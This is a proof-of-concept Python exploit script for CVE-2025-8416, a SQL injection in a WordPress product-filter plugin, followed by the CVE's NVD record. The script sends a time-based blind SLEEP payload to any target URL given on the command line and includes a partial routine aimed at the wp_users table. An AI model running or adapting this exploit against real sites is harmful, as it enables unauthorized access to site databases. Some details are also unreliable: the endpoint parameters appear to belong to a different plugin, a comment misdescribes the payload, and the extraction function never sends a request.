CVE-2025-8416

import requests import sys # CVE-2025-8416 SQL Injection PoC # Target: WordPress site with Product Filter by WBW plugin <= 2.9.7 # Vulnerability: Unauthenticated SQL Injection via filtersDataBackend parameter def exploit_sqli(target_url, proxy=None): """ SQL Injection exploitation using time-based blind technique """ # Vulnerable endpoint - typically in WooCommerce product filter vuln_url = f"{target_url}/?wc-ajax=woof_get_query_by_ajax" # Payload to test vulnerability - time-based blind SQL injection # Extracts current database user using SLEEP() function payload = "1' AND (SELECT * FROM (SELECT SLEEP(5))a) AND '1'='1" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } data = { 'filtersDataBackend': payload, 'shortcode': 'woof', 'is_ajax': 'true' } proxies = {'http': proxy, 'https': proxy} if proxy else None print(f"[*] Testing target: {target_url}") print(f"[*] Sending malicious payload...") try: response = requests.post(vuln_url, data=data, headers=headers, proxies=proxies, timeout=10, verify=False) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Time-based blind SQL injection works.") return True else: print("[-] Target may not be vulnerable or timeout occurred.") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def extract_data(target_url, proxy=None): """ Extract sensitive data from database """ # Example: Extract WordPress database prefix and user count extraction_payload = "1' AND (SELECT COUNT(*) FROM wp_users) > 0 AND '1'='1" vuln_url = f"{target_url}/?wc-ajax=woof_get_query_by_ajax" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } data = { 'filtersDataBackend': extraction_payload, 'shortcode': 'woof', 'is_ajax': 'true' } proxies = {'http': proxy, 'https': proxy} if proxy else None print("[*] Attempting data extraction...") # Implementation would use conditional time delays based on extracted data if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_8416_poc.py <target_url>") print("Example: python cve_2025_8416_poc.py http://example.com") sys.exit(1) target = sys.argv[1] exploit_sqli(target)

{"cve": {"id": "CVE-2025-8416", "sourceIdentifier": "[email protected]", "published": "2025-10-25T07:15:41.357", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Product Filter by WBW plugin for WordPress is vulnerable to SQL Injection via the 'filtersDataBackend' parameter in all versions up to, and including, 2.9.7. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/woo-product-filter/tags/2.8.6/modules/woofilters/controller.php#L136", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woo-product-filter/tags/2.8.6/modules/woofilters/mod.php#L2056", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3370655%40woo-product-filter&new=3370655%40woo-product-filter&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d1533e9a-dcb9-4fbb-a1a7-7f4dafd3a1c8?source=cve", "source": "[email protected]"}]}}